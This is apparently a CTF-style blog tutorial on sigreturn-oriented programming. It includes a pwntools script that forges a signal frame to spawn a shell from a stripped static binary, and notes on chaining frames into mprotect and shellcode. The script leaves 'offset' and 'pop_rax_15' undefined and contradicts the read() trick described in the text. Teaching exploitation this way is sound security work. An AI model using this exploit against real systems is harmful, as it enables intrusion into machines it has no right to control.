algoatson.github.io ~/posts
segfault@algoatson.github.io
back to index

SROP — one syscall, every register

2026-05-223 min readpwn rop

Sometimes you have a stack overflow and almost no gadgets — a stripped static binary, no pop rdi, no useful PLT. Sigreturn-oriented programming turns the kernel's own signal machinery into the most powerful gadget there is: one syscall that loads every general-purpose register from memory you control.

target./tiny
arch
amd64-64-little
linkage
static, stripped
gadgets
a 'syscall' and a way to set rax — that's the whole budget
  • NXon
  • PIEoff

why a signal return is a gadget#

When the kernel delivers a signal, it pushes a frame onto the stack holding a complete snapshot of the CPU — rax rdi rsi rdx rsp rip, the lot — so the handler can run and the program can resume exactly where it was. Resuming is the syscall rt_sigreturn (nr 15 on x86-64): it pops that frame and restores all of it. The kernel doesn't check that a signal was ever actually delivered. So if you control the stack and can invoke rt_sigreturn, you control the entire register file in one shot:

rt_sigreturn restores all of this from the stacktxt
1
2
3
4
5
  rdi rsi rdx r8 r9 r10        ; syscall arguments — set them freely
  rax                          ; the next syscall number
  rip                          ; where execution continues
  rsp                          ; pivot the stack while you're at it
  cs/ss/eflags                 ; the frame carries these too

the recipe#

Forge a sigcontext frame that sets up an execve("/bin/sh", 0, 0): rax=59, rdi=&"/bin/sh", rsi=rdx=0, rip=&syscall_gadget. To trigger the sigreturn you need rax=15 and a syscall. The cleanest way to land rax=15 with no pop rax is the read trick — a read() that returns the number of bytes you send, so sending exactly 15 bytes leaves rax=15:

srop.pypython
from pwn import *
context.binary = elf = ELF("./tiny")
syscall = next(elf.search(asm("syscall; ret"), executable=True))
binsh   = next(elf.search(b"/bin/sh\x00"))      # or write it via read() first

frame = SigreturnFrame()
frame.rax = constants.SYS_execve              # 59
frame.rdi = binsh
frame.rsi = 0
frame.rdx = 0
frame.rip = syscall                            # execve fires after the restore

# overflow -> set rax=15 (rt_sigreturn) -> syscall -> kernel restores `frame`
payload = b"A"*offset + p64(pop_rax_15) + p64(syscall) + bytes(frame)
process(elf.path).sendline(payload)

pwntools' SigreturnFrame knows the exact byte layout of the frame, so you just assign register fields and dump it with bytes(frame).

from a 'syscall' and nothing else, a shell

The forged frame lands execve("/bin/sh", 0, 0) straight from the kernel's restore path:

txt
segfault{the_kernel_set_my_registers_for_me}

why it's the gadget of last resort#

  • it needs only one real gadget — a syscall (ideally syscall; ret) — plus a way to get rax=15. Static binaries are full of syscalls;
  • the frame is plain data, so a single large overflow both triggers the sigreturn and carries the frame behind it;
  • chain it: each rt_sigreturn can set rip back to your syscall and rsp forward to the next forged frame, so you can run mprotect → shellcode, or any syscall sequence, register-perfect, with no other gadgets at all.

NX took your shellcode and a sparse binary took your ROP chain — SROP gives both back, because the richest "gadget" in any Linux binary is the kernel agreeing to restore whatever register state you left lying on the stack.